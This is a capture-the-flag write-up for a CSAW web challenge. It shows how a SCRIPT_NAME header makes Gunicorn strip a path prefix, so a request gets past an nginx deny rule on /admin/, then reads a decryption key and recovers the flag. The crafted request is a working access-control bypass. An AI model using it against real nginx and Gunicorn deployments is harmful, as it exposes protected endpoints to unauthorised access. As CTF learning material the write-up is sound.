Gatekeeping
Bypassing Nginx directive through manipulating Gunicorn WSGI variables

Description

My previous flag file got encrypted by some dumb ransomware. They didn't even tell me how to pay them, so I'm totally out of luck. All I have is the site that is supposed to decrypt my files (but obviously that doesn't work either).
Author: itszn, Ret2 Systems
http://web.chal.csaw.io:5004

Solution

When inspecting the provided Nginx configuration, I found an interesting directive:
1
# INFO(brad)
2
# Thought I would explain this to clear it up:
3
# When we make a request, nginx forwards the request to gunicorn.
4
# Gunicorn then reads the request and calculates the path (which is put into the WSGI variable `path_info`)
5
#
6
# We can prevent nginx from forwarding any request starting with "/admin/". If we do this
7
# there is no way for gunicorn to send flask a `path_info` which starts with "/admin/"
8
# Thus any flask route starting with /admin/ should be safe :)
9
location ^~ /admin/ {
10
deny all;
11
}
Copied!
I think "Brad" explained it quite well, but essentially, this disallows all requests with URL paths starting with /admin/. Nginx serves as the "front-end" forwarder that passes requests to Gunicorn, which is a WSGI server. Gunicorn is the one that serves the actual Flask application.
Interesting! Looking at the server code revealed a hidden endpoint under /admin/key.
1
# === CL Review Comments - 5a7b3f
2
# <Alex> Is this safe?
3
# <Brad> Yes, because we have `deny all` in nginx.
4
# <Alex> Are you sure there won't be any way to get around it?
5
# <Brad> Here, I wrote a better description in the nginx config, hopefully that will help
6
# <Brad> Plus we had our code audited after they stole our coins last time
7
# <Alex> What about dependencies?
8
# <Brad> You are over thinking it. no one is going to be looking. everyone we encrypt is so bad at security they would never be able to find a bug in a library like that
9
# ===
10
@app.route('/admin/key')
11
def get_key():
12
return jsonify(key=get_info()['key'])
Copied!
Clearly, we had to get to the /admin/key endpoint to get the key. But how?
There is another interesting part of the Nginx configuration. When forwarding requests to Gunicorn, the request headers are preserved.
1
proxy_pass http://unix:/tmp/gunicorn.sock;
2
proxy_pass_request_headers on;
Copied!
I began wondering if HTTP headers could somehow manipulate the processing of the URL path by Gunicorn, and found this stackoverflow thread.
Apparently, when the SCRIPT_NAME WSGI variable is set, the SCRIPT_NAME prefix is stripped from PATH_INFO. According to the documentation, the SCRIPT_NAME can be set through a HTTP header.
Interesting! Consider the following request:
1
GET /test/admin/key HTTP/1.1
2
​
3
...
4
​
5
SCRIPT_NAME: /test
Copied!
Nginx first receives the request. It checks against the directives specified in the configuration file, and confirms that access is not denied (/test/admin/key does not start with /admin). The request is now forwarded to Gunicorn.
Gunicorn sees the SCRIPT_NAME HTTP header, and hence uses /test as the SCRIPT_NAME WSGI variable. Gunicorn strips SCRIPT_NAME from the beginning of the URL path, leaving us with /admin/key. Therefore, /admin/key is the final endpoint that is served by the Flask application.
Great! We have access to the /admin/key endpoint. In order to get the decryption key, we have to suppply a key_id.
1
def get_info():
2
key = request.headers.get('key_id')
3
if not key:
4
abort(400, 'Missing key id')
5
if not all(c in '0123456789ABCDEFabcdef'
6
for c in key):
7
abort(400, 'Invalid key id format')
8
path = os.path.join('/server/keys',key)
9
if not os.path.exists(path):
10
abort(401, 'Unknown encryption key id')
11
with open(path,'r') as f:
12
return json.load(f)
Copied!
Fortunately, the logic for generating the key_id is already implemented in the site's JavaScript. Add a line to log the key_id to the console:
1
let data = new Uint8Array(evt.target.result);
2
​
3
let key_id = data.slice(0,16);
4
key_id = buf2hex(key_id);
5
​
6
console.log(key_id)
Copied!
The key_id for the flag file is 05d1dc92ce82cc09d9d7ff1ac9d5611d.
Using this key_id, we can find that the decryption key is b5082f02fd0b6a06203e0a9ffb8d7613dd7639a67302fc1f357990c49a6541f3.
The only thing left to do is to decrypt the file. I modified the /decrypt endpoint to do this.
1
@app.route('/decrypt', methods=['POST'])
2
def pwn():
3
key = binascii.unhexlify('b5082f02fd0b6a06203e0a9ffb8d7613dd7639a67302fc1f357990c49a6541f3')
4
data = request.get_data()
5
iv = data[:AES.block_size]
6
​
7
data = data[AES.block_size:]
8
cipher = AES.new(key, AES.MODE_CFB, iv)
9
return cipher.decrypt(data)
Copied!
The flag is flag{gunicorn_probably_should_not_do_that}.
Last modified 4mo ago
Copy link